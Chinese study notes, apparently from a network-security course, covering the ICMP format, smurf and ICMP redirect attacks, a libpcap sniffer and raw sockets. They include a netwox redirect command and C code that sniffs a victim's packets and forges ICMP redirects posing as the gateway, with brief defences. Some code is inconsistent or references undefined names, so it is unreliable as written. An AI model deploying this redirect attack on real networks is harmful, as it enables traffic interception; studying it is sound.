@
ICMP数据报格式
https://zhuanlan.zhihu.com/p/58662573
头部type,code,checksum ,4字节,扩展字段,4字节
icmp作为数据部分封装到ip数据报中
IPv4中的常用type,ipv6与之不同
- 0:Echo Reply 回显应答,返回数据 ping
- 3:Destination Unreachable 不可达
- 5:Redirect (change route) 重定向
- 8:Echo Request 回显请求,ping
- 11:time Exceeded for a Datagram,超时
struct icmp { u_int8_t icmp_type; /* type of message, see below */ u_int8_t icmp_code; /* type sub code */ u_int16_t icmp_cksum; /* ones complement checksum of struct tcp、icmp是全部的校验和,ip的只有头部*/ union { u_char ih_pptr; /* ICMP_PARAMPROB */ struct in_addr ih_gwaddr; /* gateway address */ struct ih_idseq /* echo datagram */ { u_int16_t icd_id; u_int16_t icd_seq; } ih_idseq; u_int32_t ih_void;
smurf攻击
冒充target ip 广播icmp回显请求,target会收到大量icmp回显回复,从而忙于处理icmp而拒绝服务。
如何防御?
使主机或路由器不响应ICMP请求或广播,或使路由器不转发目的是广播地址的数据包
ICMP重定向攻击
代码:icmpRedirect.c
重定向:若路由器收到一个数据报,并发现该数据报存在一个比自己更好的下一跳路由,就会向主机发送重定向报文,让其更新转发表。
重定向只支持对单个目标主机的重定向,所以不会改变路由表,但可以改变route cache, netstate -rn --cache。
sudo netwox 86 -g new_gateway_ip -i old_gateway_ip
也可以通过raw socket编程,手动实现重定向。
如何防御:使用防火墙过滤icmp或手动关闭icmp redirect
基于libpcap的sniffer
头文件 pcap.h
基于libpcap,编译时加入 -lpcap
编程步骤:
- 查找设备
- 打开设备,获得一个把手(handle是系统提供的一个用于交互的接口)
- 设置、应用filter
- 抓包,pcap_next (只抓一 次) , pcap_loop (循环)
- 分析数据包
- 结束
char errBuf[PCAP_ERRBUF_SIZE], * devStr; /* 查找设备 */ devStr = pcap_lookupdev(errBuf); /*捕获数据 * 参数:设备名称,最大捕获量(字节),是否置于混杂模式(混杂即捕获设备收发的所有数据),超时时间(0表示没有超时等待),错误信息 */ pcap_t * handle = pcap_open_live(devStr, 65535, 1, 0, errBuf); struct bpf_program filter; char filterstr[50]={0}; sprintf(filterstr,"src host %s",Vic_IP); //将ip写入filterstr缓冲区 //编译filter //参数:filter过滤器指针;filterstr过滤表达式; 1:表达式是否被优化;0:应用此过滤器的掩码 if (pcap_compile(handle, &filter, filterstr, 1, 0) == -1) { fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle)); return 0; } //启用过滤器 if (pcap_setfilter(handle, &filter) == -1) { fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle)); return 0; } //循环抓包 //-1表示循环次数,getPacket是回调函数,用于解析数据包,最后参数一般置为null pcap_loop(handle, -1, getPacket, NULL); //结束 pcap_freecode(&fp); pcap_close(handle);
raw socket
参考https://zhuanlan.zhihu.com/p/59296026
头文件: #include <sys/socket.h> #include <netinet/in.h>
套接字(socket)允许在相同/不同的机器上的两个进程通信。基于VFS,是一种对多种协议提供支持的抽象。 位于网络协议栈和应用层之间。
socket(AF_INET, 类型,协议)
AF_INET/PF_INET,表示从inet层(IP)开始,AF_PACKET表示从ETHERNET曾开始
类型:STREAM对应TCP, DATAGRAM对应UDP, SOCK_RAW,原始套接字,只有它才允许手动填写对应协议的数据包。
协议:IPPROTO_ICMP,IPPROTO_UDP,IPPROTO_IP,IPPROTO_RAW(可手动修改ip头)等,定义在netinet/in.h- sockaddr是对多种类型地址的抽象,编程时先用sockaddr_in写好,使用时强制转换为sockaddr
struct sockaddr { unsigned short sa_family; //AF_INET(IP) char sa_data[14];//端口号+IP地址 }; struct sockaddr_in { short int sin_family; //AF_INET(IP) unsigned short int sin_port; //网络字节序 struct in_addr sin_addr; unsigned char sin_zero[8];//0 }; //inet_aton("200.200.200.200", &myaddr.sin_addr.s_addr); struct in_addr { unsigned long s_addr;//32位的IP地址,网络字节序 };
网络字节序,大端存储,高字节存在低地址
htons() Host to Network Short,port
htonl() Host to Network Long,ip
ntohl() Network to Host Long
ntohs() Network to Host Short
//用struct sockaddr_in定义地址 struct sockaddr_in myaddr; int s; myaddr.sin_family = AF_INET; myaddr.sin_port = htons(3456); inet_aton("200.200.200.200", &myaddr.sin_addr.s_addr); s = socket(PF_INET, SOCK_STREAM, 0); //使用时,用struct sockaddr*强制类型转换 bind(s, (struct sockaddr*)myaddr, sizeof(myaddr));
定义包头
剥洋葱法,如以太网帧头+IP头+TCP头+TCP数据,使用强制类型转换获取需要的数据
头文件
#include <net/ethernet.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h>
/* Ethernet header */ struct ethernet_header{ u_int8_t ether_dhost[ETHER_ADDR_LEN]; /* destination host address */ u_int8_t ether_shost[ETHER_ADDR_LEN]; /* source host address */ u_int16_t ether_type; /* IP? ARP? RARP? etc */ }; /* IP header */ struct ip_header { #ifdef WORDS_BIGENDIAN u_int8_t ip_version:4; u_int8_t ip_header_length:4; #else u_int8_t ip_header_length:4; u_int8_t ip_version:4; #endif u_int8_t ip_tos; u_int16_t ip_length; u_int16_t ip_id; u_int16_t ip_off; u_int8_t ip_ttl; u_int8_t ip_protocol; u_int16_t ip_checksum; struct in_addr ip_source_address; struct in_addr ip_destination_address; }; #define IP_HL(ip) (((ip)->ip_vhl) & 0x0f) #define IP_V(ip) (((ip)->ip_vhl) >> 4) /* TCP header */ typedef u_int16_t tcp_seq; struct tcp_header{ u_int16_t th_sport; /* source port */ u_int16_t th_dport; /* destination port */ tcp_seq th_seq; /* sequence number */ tcp_seq th_ack; /* acknowledgement number */ u_int8_t th_offx2; /* data offset, rsvd */ #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) u_int8_t th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 #define TH_ECE 0x40 #define TH_CWR 0x80 #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) u_int16_t th_win; /* window */ u_int16_t th_sum; /* checksum */ u_int16_t th_urp; /* urgent pointer */ }; /*icmp*/ struct icmp_header { u_int8_t icmp_type; u_int8_t icmp_code; u_int16_t icmp_checksum; struct in_addr icmp_gateway_addr; //u_int16_t icmp_identifier; //u_int16_t icmp_sequence; }; /* ethernet headers are always exactly 14 bytes [1] */ #define SIZE_ETHERNET 14 /* Ethernet addresses are 6 bytes */ #define ETHER_ADDR_LEN 6
解析数据包
void getPacket(u_int8_t * arg, const struct pcap_pkthdr * pkthdr, const u_int8_t * packet) { static int count = 1; //计数 int sockfd,res; int one = 1; int *ptr_one = &one; /* 包头 */ const struct ethernet_header *ethernet; /* The ethernet header [1] */ const struct ip_header *ip; /* The IP header */ const struct tcp_header *tcp; /* The TCP header */ const char *payload; /* Packet payload */ int ipHeaderLen; int tcpHeaderLen; printf("\nPacket number %d:\n", count++); printf("Packet length: %d\n", pkthdr->len); /* define ethernet header */ ethernet = (struct ethernet_header*)(packet); /* ip header */ ip = (struct ip_header*)(packet + SIZE_ETHERNET); ipHeaderLen = (ip->ip_header_length)*4; //IP头长度的单位是4字节 if (ipHeaderLen < 20) { printf(" * Invalid IP header length: %u bytes\n", size_ip); return; } /* print source and destination IP addresses */ printf(" From: %s\n", inet_ntoa(ip->ip_source_address)); printf(" To: %s\n", inet_ntoa(ip->ip_destination_address)); /*//tcpHeaderLen = (struct tcp_header*)(packet + SIZE_ETHERNET+ipHeaderLen); if(tcpHeaderLen<20) { printf(" * Invalid TCP header length: %u bytes\n", size_ip); return; }*/ //创建raw socket,手动填充icmp部分 if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0) { printf("create sockfd error\n"); exit(-1); } //开启IP_HDRINCL选项,手动填充IP头 res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL,ptr_one, sizeof(one)); if(res < 0) { printf("error--\n"); exit(-3); } //重定向攻击 icmp_redirect(sockfd,ip_packet); close(sockfd); return; }
重定向
/*重定向攻击*/ void icmpRedirect(int sockfd,const unsigned char * packet_data){ struct ip_header *ip; struct icmp_header *icmp; //设定好数据报:ip头,icmp头,icmp数据 struct packet_struct { struct iphdr ip; struct icmphdr icmp; char datas[28]; }packet; //ip头 20字节 packet.ip.version = 4; packet.ip.ihl = 5; packet.ip.tos = 0; //服务类型 packet.ip.tot_len = htons(56); //host to short 56=20+8+28 packet.ip.id = getpid(); packet.ip.frag_off = 0; packet.ip.ttl = 255; packet.ip.protocol = IPPROTO_ICMP; packet.ip.check = 0; packet.ip.saddr = inet_addr(Ori_Gw_IP); //伪造网关发送ip报文 packet.ip.daddr = inet_addr(Vic_IP); //把重定向包发给受害者 //icmp头 8字节 packet.icmp.type = ICMP_REDIRECT;//5 packet.icmp.code = ICMP_REDIR_HOST;//0 packet.icmp.checksum = 0; packet.icmp.un.gateway = inet_addr(Redic_IP); struct sockaddr_in dest = { .sin_family = AF_INET, .sin_addr = { .s_addr = inet_addr(Vic_IP) } }; //将抓到的IP包的前28字节 ,作为icmp数据 memcpy(packet.datas,(packet_data + SIZE_ETHERNET),28); packet.ip.check = checksum(&packet.ip,sizeof(packet.ip)); packet.icmp.checksum = checksum(&packet.icmp,sizeof(packet.icmp)+28); //sendto用于非可靠连接的数据数据发送,如UDP, 接收数据用recvfrom sendto(sockfd,&packet,56,0,(struct sockaddr *)&dest,sizeof(dest)); printf("send icmp redirect\n"); }
参考:
https://zhuanlan.zhihu.com/p/59161220
《TCP/IP详解》
《UNIX网络编程》